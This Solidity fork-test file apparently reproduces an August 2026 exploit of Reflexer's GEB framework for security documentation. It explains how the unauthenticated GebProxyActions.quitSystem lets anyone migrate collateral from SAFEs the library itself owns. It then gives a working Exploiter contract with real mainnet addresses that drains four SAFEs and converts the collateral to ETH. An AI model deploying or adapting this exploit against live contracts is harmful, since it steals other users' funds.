src/test/2026-08/ReflexerGEB_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : ~5.94 ETH (~$14K)
7// Attacker : https://etherscan.io/address/0xb929c7215c0ec8ebad5fbf73b1da63bccfff1896
8// Attack Contract : https://etherscan.io/address/0x6a213f0b5bd9eed865d3e2efc867b73dfe9039e7
9// Vulnerable Contract (shared library) : https://etherscan.io/address/0x84fe452d9fb495a335c74a225e6ad52c35eb8616 (GebProxyActions)
10// Attack Tx : https://etherscan.io/tx/0xfbce28e35c26358110dd9ed91f9ceef588acb264c3cf6c573df65ca21335058f
11 
12// @Analysis
13// Protocol : Reflexer's GEB framework (RAI-style CDP system), in Global Settlement since Jan 2021.
14// Alert : ExVul / SkyEye
15//
16// Root cause:
17// GebProxyActions is a SHARED, stateless "proxy actions" library. It is meant to be DELEGATECALLED
18// through each user's own DSProxy so that, from GebSafeManager's point of view, msg.sender is the
19// per-user proxy that actually owns the SAFE. Several SAFEs (ids 3, 5, 8, 18 for collateral ETH-A)
20// were instead registered in GebSafeManager with ownsSAFE[safe] == the GebProxyActions library's OWN
21// address (0x84FE...), i.e. the library contract itself is the registered owner.
22//
23// GebProxyActions.quitSystem(manager, safe, dst) is a plain public function with NO authentication.
24// It simply forwards to GebSafeManager.quitSystem(safe, dst). When called DIRECTLY on the library
25// (not via a proxy), the manager sees msg.sender == the library address, which equals ownsSAFE[safe],
26// so the safeAllowed(safe) check passes. That lets ANY external caller migrate the collateral of
27// those SAFEs to an address of their choosing.
28//
29// Because the system is in Global Settlement, the flow per SAFE is:
30//   GlobalSettlement.processSAFE  -> clears the SAFE's debt, leaving free collateral in the handler
31//   GebProxyActions.quitSystem    -> moves that free collateral into the attacker's own SAFE balance
32//   GlobalSettlement.freeCollateral -> converts it to internal ETH-A tokenCollateral
33// After looping every stolen SAFE, one CollateralJoin.exit + WETH.withdraw turns it into ETH.
34//
35// This drains leftover/dormant collateral from old CDP positions of a protocol that has been shut
36// down (Global Settlement) since January 2021 - not an actively-used live protocol - but it is a
37// real, self-contained, permissionless theft of other users' funds and worth documenting.
38 
39interface ISAFEEngine {
40    function approveSAFEModification(address account) external;
41    function tokenCollateral(bytes32 collateralType, address account) external view returns (uint256);
42    function safes(bytes32 collateralType, address safe) external view returns (uint256 lockedCollateral, uint256 generatedDebt);
43}
44 
45interface IGebSafeManager {
46    function safes(uint256 safe) external view returns (address handler);
47    function ownsSAFE(uint256 safe) external view returns (address owner);
48    function allowHandler(address usr, uint256 ok) external;
49}
50 
51interface IGlobalSettlement {
52    function processSAFE(bytes32 collateralType, address safe) external;
53    function freeCollateral(bytes32 collateralType) external;
54}
55 
56// The vulnerable shared library. quitSystem is public and unauthenticated.
57interface IGebProxyActions {
58    function quitSystem(address manager, uint256 safe, address dst) external;
59}
60 
61interface ICollateralJoin {
62    function exit(address account, uint256 wad) external;
63}
64 
65interface IWETH {
66    function withdraw(uint256 wad) external;
67    function balanceOf(address account) external view returns (uint256);
68}
69 
70// Standalone exploit contract, matching the on-chain attack contract: an unprivileged contract that
71// migrates SAFEs owned by the GebProxyActions library to itself and cashes the collateral out to ETH.
72contract Exploiter {
73    ISAFEEngine constant SAFE_ENGINE = ISAFEEngine(0xf0b7808b940b78bE81ad6F9E075Ce8be4A837E2c);
74    IGebSafeManager constant MANAGER = IGebSafeManager(0xdF88b73462abD08f145b4b31edf4966C7129B255);
75    IGlobalSettlement constant GLOBAL_SETTLEMENT = IGlobalSettlement(0x4d37Ef04724fec8b80AAB3F6B7e7F4ef4181D9a9);
76    IGebProxyActions constant PROXY_ACTIONS = IGebProxyActions(0x84FE452d9fb495A335C74a225e6AD52C35eB8616);
77    ICollateralJoin constant ETH_A_JOIN = ICollateralJoin(0xE843783144AcDf485Ff86D726bCb67dD316e0BBE);
78    IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
79    bytes32 constant ETH_A = 0x4554482d41000000000000000000000000000000000000000000000000000000; // "ETH-A"
80 
81    receive() external payable {}
82 
83    function run() external {
84        // Allow the manager to move collateral into this contract's SAFEEngine balance.
85        SAFE_ENGINE.approveSAFEModification(address(MANAGER));
86        MANAGER.allowHandler(address(PROXY_ACTIONS), 1);
87 
88        // The four SAFEs whose registered owner is the GebProxyActions library itself.
89        uint256[4] memory safeIds = [uint256(3), 5, 8, 18];
90 
91        for (uint256 i = 0; i < safeIds.length; i++) {
92            uint256 safeId = safeIds[i];
93            require(MANAGER.ownsSAFE(safeId) == address(PROXY_ACTIONS), "safe not owned by library");
94            address handler = MANAGER.safes(safeId);
95 
96            // 1. Clear the SAFE's debt so its collateral becomes free (Global Settlement).
97            GLOBAL_SETTLEMENT.processSAFE(ETH_A, handler);
98 
99            // 2. THE BUG: call the public, unauthenticated library function directly. The manager
100            //    sees msg.sender == the library, which passes ownsSAFE[safe] == msg.sender, and the
101            //    collateral is migrated to us.
102            PROXY_ACTIONS.quitSystem(address(MANAGER), safeId, address(this));
103 
104            // 3. Convert the migrated collateral into internal ETH-A tokenCollateral for this contract.
105            GLOBAL_SETTLEMENT.freeCollateral(ETH_A);
106        }
107 
108        // Cash out the whole stolen balance to WETH, then to ETH.
109        uint256 amount = SAFE_ENGINE.tokenCollateral(ETH_A, address(this));
110        ETH_A_JOIN.exit(address(this), amount);
111        WETH.withdraw(WETH.balanceOf(address(this)));
112    }
113}
114 
115contract ReflexerGEBExploit is BaseTestWithBalanceLog {
116    address constant ATTACKER = 0xB929C7215c0ec8EbAD5fBf73b1Da63bccfFf1896;
117    uint256 constant FORK_BLOCK = 25_883_378; // block before the attack (25883379)
118 
119    Exploiter internal exploiter;
120 
121    function setUp() public {
122        vm.createSelectFork("mainnet", FORK_BLOCK);
123        exploiter = new Exploiter();
124        attacker = address(exploiter); // balanceLog tracks the profit contract's ETH gain
125    }
126 
127    function testExploit() public balanceLog {
128        // Match the real trace: EOA (tx.origin) drives an unprivileged contract that does the work.
129        vm.prank(ATTACKER, ATTACKER);
130        exploiter.run();
131 
132        // Net collateral drained in the original tx: 5943599831844387377 wei (~5.9436 ETH).
133        emit log_named_decimal_uint("Attacker ETH profit", address(exploiter).balance, 18);
134        assertApproxEqAbs(address(exploiter).balance, 5_943_599_831_844_387_377, 1e15, "profit off vs on-chain 5.94 ETH");
135    }
136}